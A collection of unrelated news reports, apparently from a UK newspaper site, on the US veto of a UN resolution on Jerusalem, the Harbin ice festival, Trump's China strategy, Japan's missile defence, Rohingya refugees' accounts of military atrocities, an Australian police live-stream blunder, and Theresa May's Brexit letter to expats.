The resolution would have demanded all countries comply with 10 resolutions on Jerusalem, dating back to 1967, including requirements the city's final status be decided in direct negotiations between Israel and the Palestinians.

It would also have affirmed "any decisions and actions which purport to have altered, the character, status or demographic composition of the holy city of Jerusalem have no legal effect, are null and void and must be rescinded."

 Donald Trump officially recognises Jerusalem as Israel's capital

Mr Trump reversed decades of US policy when he recognised the divided holy city as Israel's capital and said he planned to move the US embassy there from Tel Aviv.

Following the veto, the Palestinians immediately announced they would seek a resolution with similar demands in the 193-member General Assembly, where there are no vetoes. However, unlike the Security Council, the assembly's resolutions are not legally binding.

Riyad Mansour, the Palestinian Ambassador, told reporters after meeting with the president of the General Assembly he expects a vote this week.

He said he hopes for "overwhelming support" to tell the Trump administration the international community does not accept the US position, which he said violates international law and Security Council and General Assembly resolutions.

However, Israeli Prime Minister Benjamin Netanyahu thanked Ms Haley and Mr Trump for the veto in a video posted on his Facebook page, in which he said the US Ambassador "lit a candle of truth" and dispelled "lies."

A Palestinian protester burns an image of Donald Trump (AFP/Getty Images)

Israel considers Jerusalem its eternal and indivisible capital and wants all embassies based there, while Palestinians want the capital of an independent Palestinian state to be in the city's eastern sector, which Israel captured in a 1967 war and annexed in a move never recognised internationally.

Mr Trump's announcement was widely perceived as taking the side of Israel and triggered denunciations and demonstrations around the world.

US Ambassador to the UN Nikki Haley speaks after she voted against the draft resolution that would reject Donald Trump's decision to recognise Jerusalem as the capital of Israel (KENA BETANCUR/AFP/Getty Images)

One by one, ambassadors of the 14 countries that supported the resolution said the US violated council resolutions which make clear no country can unilaterally decide Jerusalem is the capital of Israel.

British Ambassador Matthew Rycroft said: "The status of Jerusalem should be determined through a negotiated settlement between the Israelis and the Palestinians, and should ultimately be the shared capital of the Israeli and Palestinian states."

Additional reporting by agencies
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A major ice and snow festival is due to open in northern China, where tens of thousands of tourists flock to see impressive ice sculptures lit up with bright colours.

The annual International Snow and Ice festival in Harbin is believed to be the biggest event of its kind in the world, and holds the Guinness World Record for the biggest single ice sculpture.

The Ice and Snow World park within the festival covers an overall area of 800,000 square metres featuring more than 2,000 ice sculptures made from a total of 180,000 cubic metres of ice, which is harvested directly from the frozen Songhua River.

Temperatures in Harbin, the capital of Chinas northern Heilongjiang province, don't get much above average highs of -12C during the day in January and drop to -24C at night, meaning the artwork on displays stays in pristine condition for weeks on end.

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According to the South China Morning Post, the exhibition will open for a trial period from Christmas Day, ahead of its official opening on 5 January. It is part of Harbins International Ice and Snow festival, which runs until the end of February.

The festival is bigger this year than on previous occasions, causing construction to start earlier than usual. Wang Zangyu, executive manager of Harbins Ice and Snow World, told the newspaper last week: Usually work starts around 5 December, but this year we began to dig up the ice required for the models and sculptures on 1 December. There are almost 10,000 people working in the park and construction is half complete.

The annual festival attracts tens of thousands of visitors each year. The China Global Television Network (CGTN) reports that this years huge sculptures are expected to set a new world record.

Harbin Ice and Snow World: in pictures Show all 8 1 /8 Harbin Ice and Snow World: in pictures Harbin Ice and Snow World: in pictures Tourists look at the illuminated ice sculptures Rex Features Harbin Ice and Snow World: in pictures Harbin Ice and Snow World Rex Features Harbin Ice and Snow World: in pictures View of the illuminated ice sculptures at the 19th Harbin Ice and Snow World Rex Features Harbin Ice and Snow World: in pictures 19th Annual Harbin Ice and Snow World Rex Features Harbin Ice and Snow World: in pictures Tourists look at the illuminated ice sculptures Rex Features Harbin Ice and Snow World: in pictures Aerial view of the illuminated ice sculptures Rex Features Harbin Ice and Snow World: in pictures The 800,000-square-meter park Rex Features Harbin Ice and Snow World: in pictures Tourists look at the illuminated ice sculptures Rex Features

Harbins International Ice and Snow festival currently holds the Guinness World Record for the largest snow sculpture. Created in 2007, the sculpture, entitled Romantic Feelings, measured 115ft tall and 656ft long.
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In the run-up to President Donald Trump's national security address on Monday, officials hinted it would set a new tough tone on China. That did not quite happen.

Though the closely-watched speech saw Mr Trump call China and Russia "rival powers," the rest of the address did not play out as predicted, with the president offering few new details on his China plans.

The softer-than-expected speech capped a year of mixed signals on how the Trump administration plans to handle Beijing, deepening questions about the future of US-China ties.

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The headline of an editorial published by China Daily, a Communist Party-controlled newspaper, captured the confusion: "US national security strategy is still a work in progress," it read.

Shi Yinhong, a professor of international relations at Renmin University and a leading expert on Chinese diplomacy, was equally perplexed. "What is the strategy after all? It's not clear," he said.

Shi, like several other Chinese experts, read Monday's speech as a sign that the White House may adopt a tougher line on China, but cautioned against taking Mr Trump at his word.

"China doesn't pay much attention to what Trump says, it mainly pays attention to what Trump does," he said.

"We need to wait and see what he will do rather than what he said," echoed Lu Xiang, an expert in Sino-US relations at the Chinese Academy of Social Sciences in Beijing.

The gap between what Mr Trump has said on China and what he's done is the source of much debate here - and Monday's speech did little to change that.

As a candidate,Mr Trump regularly lashed out at China, even accusing the country of "raping" the United States. As president, he has veered between tough talk - on North Korea, for instance - and sweet talk - mostly reserved for China's "highly respected" authoritarian leader, Xi Jinping.

Over the weekend, reports circulated that Mr Trump's speech and strategy would treat China as a competitor and call out the country's "economic aggression." But only the first part made the cut.

In his remarks, MrTrump called China and Russia "rival powers" that "seek to challenge American influence, values and wealth."

He went on to say the United States will "attempt to build a great partnership with those and other countries, but in a manner that always protects our national interest."

The strategy document offered a bit more detail. "China and Russia challenge American power, influence, and interests, attempting to erode American security and prosperity," it reads.

"They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence."

Donald Trump's international Presidential trips Show all 22 1 /22 Donald Trump's international Presidential trips Donald Trump's international Presidential trips French President Emmanuel Macron and US President Donald Trump AFP/Getty Images Donald Trump's international Presidential trips French President Emmanuel Macron and US President Donald Trump talk as they leave the Army Museum at Les Invalides in Paris AFP/Getty Images Donald Trump's international Presidential trips German Chancellor Angela Merkel and US President Donald Trump arrive for the group photo at the G7 Taormina summit on the island of Sicily in May 2017 Getty Images Donald Trump's international Presidential trips Mr Trump was pressed on the subject at the G7 summit in Italy Getty Donald Trump's international Presidential trips US President Donald Trump gives a speeech at the Warsaw Uprising Monument on Krasinski Square Getty Donald Trump's international Presidential trips US President Donald Trump and Britain's Prime Minister Theresa May during a ceremony at the NATO headquarters before the start of a summit in Brussels, Belgium Reuters Donald Trump's international Presidential trips Montenegro's Prime Minister Dusko Markovic is seen to the right of Donald Trump at a Nato summit in Brussels REUTERS Donald Trump's international Presidential trips Pope Francis meeting with US President Donald J. Trump EPA Donald Trump's international Presidential trips Pope Francis poses with US President Donald Trump and First Lady Melania Trump AFP/Getty Images Donald Trump's international Presidential trips US President Donald Trump arrives at Palazzo del Quirinale ahead of the meeting with Italian President Sergio Mattarella Ufficio Stampa Presidenza della via Getty Donald Trump's international Presidential trips US President Donald Trump is seen during a joint press conference with the Palestinian leader at the presidential palace in the West Bank city of Bethlehem AFP/Getty Images Donald Trump's international Presidential trips Palestinian president Mahmoud Abbas meets US President Donald Trump PPO via Getty Donald Trump's international Presidential trips Israeli Prime Minister Benjamin Netanyahu speaks with US President Donald Trump prior to the President's departure GPO via Getty Images Donald Trump's international Presidential trips US President Donald Trump and Israel's Prime Minister Benjamin Netanyahu shake hands after delivering a speech at the Israel Museum AFP/Getty Images Donald Trump's international Presidential trips US President Donald Trump and First Lady Melania Trump lay a wreath in the Hall of Remembrance as White House senior advisor Jared Kushner and Ivanka Trump watch on during a visit to the Yad Vashem Holocaust Memorial museum AFP/Getty Images Donald Trump's international Presidential trips US President Donald Trump visit to Yad Vashem Holocaust museum in Jerusalem accompanied by Prime Minister Benjamin Netanyahu GPO via Getty Images Donald Trump's international Presidential trips US President Donald Trump takes his seat before his speech to the Arab Islamic American Summit in Riyadh in Saudi Arabia Reuters Donald Trump's international Presidential trips Saudi Arabia's King Salman bin Abdulaziz al-Saud, US President Donald Trump and US First Lady Melania Trump look at a display of Saudi modern art at the Saudi Royal Court in Riyadh AFP/Getty Images Donald Trump's international Presidential trips US President Donald Trump and Saudi Arabia's King Salman bin Abdulaziz al-Saud take part in a signing ceremony at the Saudi Royal Court in Riyadh AFP/Getty Images Donald Trump's international Presidential trips King Salman presents Donald Trump with The Collar of Abdulaziz al-Saud Medal at the Royal Court Palace on 20 May AP Donald Trump's international Presidential trips US President Donald Trump is welcomed by Saudi King Salman bin Abdulaziz al-Saud upon arrival at King Khalid International Airport in Riyadh AFP/Getty Images Donald Trump's international Presidential trips U.S. President Donald Trump and first lady Melania Trump walk on the South Lawn prior to their first foreign trip Getty Images

Language like "rival" is part of a White House push to frame China as a "strategic competitor" instead of a "strategic partner" - a rhetorical shift that did not go unnoticed by the Chinese.

"Cooperation is the only correct choice for China and the United States," Hua Chunying, a spokeswoman for the Chinese Foreign Ministry, said at a regular press briefing on Tuesday.

"We urge the US side to stop distorting China's strategic intentions," she said.

The China Daily editorial noted that President George W Bush described China as a strategic competitor when he came to power, but over time "came to see China as a 'responsible stakeholder,' paving the way for years of stability in Sino-US relations."

Scott Kennedy, director of the project on Chinese business at the Center for Strategic and International Studies in Washington, said the "competition" framing would irk Beijing, but not as much as it used to.

"The Chinese leadership has already decided that the US is a strategic rival," he said.

Their thinking, in terms of the word "partnership," is, "You might say it, and we might say it, but we won't necessarily believe it."

The text of the strategy document offered some clues to how the Trump administration sees the rivalry. It briefly mentions, for instance, Chinese military advancements and the fact that Beijing uses investment in the developing world to cultivate influence.

It also notes that every year "competitors such as China steal US intellectual property valued at hundreds of billions."

The document says the United States "must defend our National Security Innovation Base (NSIB) against competitors," but does not spell out what policy changes, if any, are to come.

To Chinese experts, the lack of specificity was generally taken as a sign of US weakness.

Victor Gao, a Beijing-based current affairs commentator and former translator for Deng Xiaoping, said the idea that US global leadership cannot be challenged now looks "negotiable."

"As the top dog, the number one country in the world, you should make an effort to protect your world leader status," he said.

"If another country has better growth and a better developmental strategy, you should be humble and learn from them rather than repeatedly saying, 'You should not challenge me.' "

The Washington Post
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Japan formally decided on Tuesday it would expand its ballistic missile defence system with US-made ground-based Aegis radar stations and interceptors, in response to a growing threat from North Korean rockets.

A proposal to build two Aegis Ashore batteries was approved by Prime Minister Shinzo Abes cabinet.

The sites without the missiles will likely cost at least 1.5bn, and are not likely to be operational until 2023 at the earliest, sources familiar with the plan told Reuters earlier.

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The threat posed to our country by North Koreas nuclear and missile development has reached a new stage, the defence ministry said in a statement.

The decision to acquire the ground version of the Aegis missile-defence system, which is already deployed on Japanese warships, was widely expected.

North Korea tested a new, more powerful ballistic missile on 29 November, which it says can hit major US cities like Washington and fly over Japans current defence shield.

That rocket reached an altitude of more than 4,000 km (2,485 miles)  well above the range of interceptor missiles on Japanese ships operating in the Sea of Japan.

North Korea says its weapons programmes are necessary to counter US aggression.

The new Aegis stations may not, however, come with a powerful radar, dubbed Spy-6, which is being developed by the US.

Without it, Japan will not be able to fully utilise the extended range of a new interceptor missile, the SM-3 Block IIA, which cost about $30m (22.5m) each.

A later upgrade, once the US military has deployed Spy-6 on its ships around 2022, could prove a costly proposition for Japan as outlays on new equipment squeeze its military budget.

Initial funding will be ring-fenced in the next defence budget beginning in April, but no decision has been made on the radar, the overall cost or the schedule of the deployment, a Ministry of Defence official said at a press briefing.

North Korea announces intercontinental missile launch Show all 13 1 /13 North Korea announces intercontinental missile launch North Korea announces intercontinental missile launch Pyongyang residents react after the news of the successful launch of the new intercontinental ballistic missile AFP/Getty Images North Korea announces intercontinental missile launch North Korea's leader Kim Jong Un signing an order to test-fire the newly developed inter-continental ballistic missile KRT via AP Video North Korea announces intercontinental missile launch A news broadcast displays Kim Jong Un's signed document AP North Korea announces intercontinental missile launch People cheer as they watch the news broadcast announcing Kim Jong Un's order to test-fire the new inter-continental ballistic missile AFP/Getty Images North Korea announces intercontinental missile launch Residents react after the document signing AP North Korea announces intercontinental missile launch Pyongyang residents celebrate Kim Jong Un's announcement AFP/Getty North Korea announces intercontinental missile launch Cheering Pyongyang residents react AP North Korea announces intercontinental missile launch To counter North Korea's missile test, South Korea fired missiles into the East Sea The Defence Ministry/Yonhap via REUTERS North Korea announces intercontinental missile launch The Hyunmu-2 missiles firing during the drill South Korean Defense Ministry vi North Korea announces intercontinental missile launch The exercise was carried out in an attempt to counter Kim Jong Un's order South Korea Defense Ministry via AP North Korea announces intercontinental missile launch The South Korean army continue to carry out military exercises AP North Korea announces intercontinental missile launch Where K-9 self-propelled howitzers were taking part in a drill Rex Features North Korea announces intercontinental missile launch US soldiers are also present in the border city of Paju AFP/Getty Images

Japans military planners also evaluated the US-built THAAD (Terminal High Altitude Area Defence) system before deciding on Aegis Ashore.

Separately, minister of defence Itsunori Onodera said this month that Japan would acquire medium-range cruise missiles it can launch from its F-15 and F-35 fighters at sites in North Korea, in a bid to deter any attack.

The purchase of what will become the longest-range munitions in Japans military arsenal is controversial, because it renounced the right to wage war against other nations in its post-World War Two constitution.

Reuters
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Rohingya refugees fleeing violence in Burma have told how the military targeted children and the elderly in sickening attacks.

The Muslim minority refugees said soldiers and Buddhist leaders carried out a systematic campaign of murder and burning villages - accusations that military leaders have denied.

Shawkat Ara, 38, said soldiers attacked her village in the middle of the night and she hid in the jungle with fellow villagers as they watched their houses burn.

She said: The military told the young boys to stand in a line and told them to run. When they were running they rushed them from behind and they were falling in ditches.

Some were cut into pieces and thrown into ditches. They were all between 10 and 12 years old.

The military were actually playing with the boys. They were telling them to run and then cutting them.

She added: I broke my hand crawling into the jungle. When the soldiers started firing, people were running here and there, it was totally messed up.

Fathers were not staying with their sons and sons were not looking for their fathers, just running for their lives.

The small children were the worst affected because they can't run.

Despite a recent agreement with the Burmese government for repatriation, refugees continue to arrive in Bangladesh, joining 646,000 who have braved the dangerous border crossing since the surge in violence after Rohingya militants reportedly attacked border posts in August.

Alistair Dutton, director of the Scottish Catholic International Aid Fund (Sciaf), which has raised more than 160,000 to help the refugees, said: I don't know who's guilty of what but what has happened are crimes against humanity.

The chopping people up, shooting them, burning bodies, torching villages, stealing belongings and driving people out their country - these are crimes against humanity whoever perpetrated them.

Mr Dutton warned the crisis could last for years, stressing that Sciaf and charity partner Caritas Bangladesh were planning for the long term as the average time a person spends as a refugee is 17 years.

Mrs Ara, who saw her parents and one son die from hunger as she made the arduous journey to safety in Bangladesh, said she also witnessed soldiers attacking the elderly.

She said her neighbour, an elderly imam, was shot and attacked with machetes before being burned.

Kamal Hossain, 41, one of the Rohingya refugees who met the Pope on his recent visit to Burma and Bangladesh, said 80% of 9,675 people were killed in the district where he was leader.

He said: The military applied their tricks - they were killing the elderly and young people first so that the other people would do nothing to them. They apply these techniques.

Hope in Bangladeshs Rohingya camps Show all 15 1 /15 Hope in Bangladeshs Rohingya camps Hope in Bangladeshs Rohingya camps Badiul Alam, 52, appointed as the manager of one grouping of refugees, shows the rifle-butt injury he sustained during his flight from Myanmar Hope in Bangladeshs Rohingya camps Abdur Rahim, 50, fled Myanmar with his family of seven. It took a month for them to walk to Bangladesh, carrying all their possessions on their shoulders. They havent yet found a place to put down their belongings after a gruelling journey Hope in Bangladeshs Rohingya camps Various refugee camps  Kutupalong, Balukhali and Moinerghona  have merged into one vast sprawl spread over many muddy hills that just a few months ago were a rolling green nature reserve Hope in Bangladeshs Rohingya camps A Red Cross aid-worker supervises an aid distribution point on the edge of the Moinerghona camp, saying they have never known refugees anywhere in the world stand so patiently in line in such heat to be registered and receive aid without any tension or anger Hope in Bangladeshs Rohingya camps Last week the governments of Bangladesh and Myanmar signed a deal to return the Rohingya to Rakhine. But many worry that they will face further reprisals if they return, and there was no mention of what would happen to those who refused to go back Hope in Bangladeshs Rohingya camps A quiet calm pervades the camps. Is it relief at being free from fear, or do feelings about the horrors witnessed remain suppressed? Hope in Bangladeshs Rohingya camps The aid response is focused on providing food, water and shelter for people who fled with nothing Hope in Bangladeshs Rohingya camps The effort is now well-organised and trucks delivering supplies move up and down the main road between Coxs Bazar and Teknaf all day long Hope in Bangladeshs Rohingya camps Only men are in the aid queue, as separate queues are often set up for men and women. Sixty-five-year-old Nur Ahmed wears his ID card which shows he has been formally registered to receive aid Hope in Bangladeshs Rohingya camps Ajmin Ara, 70, wanders around disorientated. She has lost her entire family and fled to Bangladesh alone; she is painfully thin/skeletal and very weak, but is receiving medical care from a small clinic set up to the side of the aid queue Hope in Bangladeshs Rohingya camps Its estimated that 620,000 Rohingya people have fled violence in Myanmars Rakhine State in the last three months. Many say they were doing their morning prayers or cooking food when their villages were attacked and they fled, often with only the clothes they were wearing Hope in Bangladeshs Rohingya camps Nur Asha, 47, sits quietly in the crowd until she can no longer restrain herself and her story comes out in a torrent: how she fled with her son when the military attacked her village but doesnt know where her other relatives are, how throats were slashed, how children were thrown into fires, how rice paddy fields were filled with bodies left for the dogs to eat Hope in Bangladeshs Rohingya camps Mohammed Sayed, 24, fled Myanmar about a month ago with his parents, wife and sister after their home was burnt down and many people in their village were killed Hope in Bangladeshs Rohingya camps Children flock around the queue and one boy has made a hat from an empty medicine package to shield himself from the heat, but other boys playing nearby tease him and knock it off his head and soon it is ripped to pieces Hope in Bangladeshs Rohingya camps Children who have fled with nothing make toy cars from empty bottles and kites from plastic bags. Despite the horrors they will have witnessed, children still laugh and play for the camera

Most people were burned and killed in fires set by the military. After the killing they threw the bodies into the ditches so people can't take the water because it is full of blood.

The villagers had no food, so that made them flee.

He also said the military forced him to watch as they raped his daughter-in-law.

PA
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Australias Federal Police says it accidentally live streamed plans to arrest a suspected North Korean agent while testing a new piece of equipment.

Details of the plans were broadcast to those following the agencys Twitter account last week just days before the arrest was made.

The Periscope live stream released details about the operation and the timing of the arrest. And at one point, an officer could reportedly be heard saying that they were not going in all guns blazing, its only half-a-dozen people and a forensic van.

A spokesperson from the Australian Federal Police confirmed that an investigation was being launched to ensure such incidents will not happen again.

The discussion between the media team was broadcast last Wednesday, four days ahead of the arrest. It even included a brief discussion on getting the Prime Minister to make a statement on the case.

Chan Han Choi was arrested in Sydney on Sunday and charged with brokering missile deals with the North Korean regime.

According to The West Australian, which captured a recording of the live stream, it was quickly deleted. However it is thought that some 40 people did manage to hear the stream before it was erased.

A spokesman from Australias Federal Police told Australias Associated Press that the case had been referred for review.

They added: The incident occurred when testing a piece of social media broadcasting equipment.

Steps have been taken to ensure such incidents will not occur again.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

According to police, Mr Chan, a naturalised Australian citizen of Korean descent, had been in touch with high ranking officials in the North Korean regime.

Assistant commissioner Neil Gaughan said: This man was a loyal agent of North Korea, who believed he was acting to serve some higher patriotic purpose. This case is like nothing we have ever seen on Australian soil.

Mr Chan faces six charges, two under an act of preventing the proliferation of weapons of mass destruction, two for contravening a UN sanction law and two for contravening Australias own sanctions law.

If he is convicted, he faces up to 18 years in jail.
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Theresa May has sent a Christmas message to UK citizens living in Europe reassuring them of their rights after Brexit.

In her letter the Prime Minister acknowledges the anxiety the referendum result has meant for British families living abroad, and says she has won a deal with Brussels for a reciprocal guarantee of rights.

She also outlines some of the key details of the agreement, including healthcare rights, pensions and benefits and whether family members will be able to join expats.

But she admits there are important issues that have yet to be concluded.

Here is her letter in full:

From the very beginning of the UKs negotiations to leave the European Union I have been consistently clear that protecting the rights of both EU citizens living in the UK and UK nationals living in the EU was my first priority. I know that the referendum result has caused considerable anxiety for many of you and your families.

That is why, at the beginning of the negotiating process, I made it clear that any deal guaranteeing the rights of EU citizens living in the UK would be dependent on such an offer being reciprocated for our UK nationals in the remaining Member States.

So I am delighted to announce that in concluding the first phase of the negotiations that is exactly what we have achieved.

From speaking to my counterparts across Europe, I know that they hugely value the UK nationals living in their communities. We have worked hard to address the very complex and technical issues that needed working through before a formal agreement could be reached. The details are set out in the Joint Report agreed by the UK Government and the European Commission, as published Friday 8 December.

This agreement guarantees that your rights as residents in the EU will be protected in the Withdrawal Agreement, so you can have certainty that you will be able to receive healthcare rights, pension and other benefits provisions as you do today. You can also benefit from existing rules for past and future social security contributions.

Furthermore, we have agreed that close family members will be able to join you in the Member State where you live, after the UK has left. This includes existing spouses and civil partners, unmarried partners, children, dependent parents and grandparents, as well as children born or adopted outside of the UK after 29th March 2019.

While I hope this agreement will bring you some reassurance, I know there are a few important issues that have yet to be concluded. We raised these concerns, including the ability of UK nationals living in the EU to retain certain rights if they move within the EU, but the EU was not ready to discuss them in this phase of the negotiations. We will continue to raise these issues with the EU in the New Year.

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I will continue to push for the best possible deal for our nationals across the EU, but in the meantime, please do sign up for the latest updates on gov.uk.

The constructive way in which these talks have been conducted gives me confidence that we will achieve a final deal that reflects the strong partnership between the UK and our European partners, and is in the mutual interest of citizens living across the continent.

I wish you and your families a great Christmas and a very happy New Year.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 